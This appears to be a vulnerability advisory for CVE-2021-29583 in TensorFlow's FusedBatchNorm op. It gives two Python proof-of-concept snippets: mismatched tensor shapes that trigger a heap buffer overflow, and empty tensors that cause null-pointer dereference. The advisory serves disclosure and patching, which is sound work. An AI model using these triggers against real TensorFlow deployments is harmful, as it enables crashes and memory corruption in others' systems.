CVE-2021-29583: Heap buffer overflow and undefined behavior in `FusedBatchNorm`

(updated )

The implementation of tf.raw_ops.FusedBatchNorm is vulnerable to a heap buffer overflow:

import tensorflow as tf

x = tf.zeros([10, 10, 10, 6], dtype=tf.float32)
scale = tf.constant([0.0], shape=[1], dtype=tf.float32)
offset = tf.constant([0.0], shape=[1], dtype=tf.float32)
mean = tf.constant([0.0], shape=[1], dtype=tf.float32)
variance = tf.constant([0.0], shape=[1], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False

tf.raw_ops.FusedBatchNorm(
x=x, scale=scale, offset=offset, mean=mean, variance=variance,
epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,
data_format=data_format, is_training=is_training)

If the tensors are empty, the same implementation can trigger undefined behavior by dereferencing null pointers:

import tensorflow as tf
import numpy as np

x = tf.zeros([10, 10, 10, 1], dtype=tf.float32)
scale = tf.constant([], shape=[0], dtype=tf.float32)
offset = tf.constant([], shape=[0], dtype=tf.float32)
mean = tf.constant([], shape=[0], dtype=tf.float32)
variance = tf.constant([], shape=[0], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False

tf.raw_ops.FusedBatchNorm(
x=x, scale=scale, offset=offset, mean=mean, variance=variance,
epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,
data_format=data_format, is_training=is_training)

References

Code Behaviors & Features

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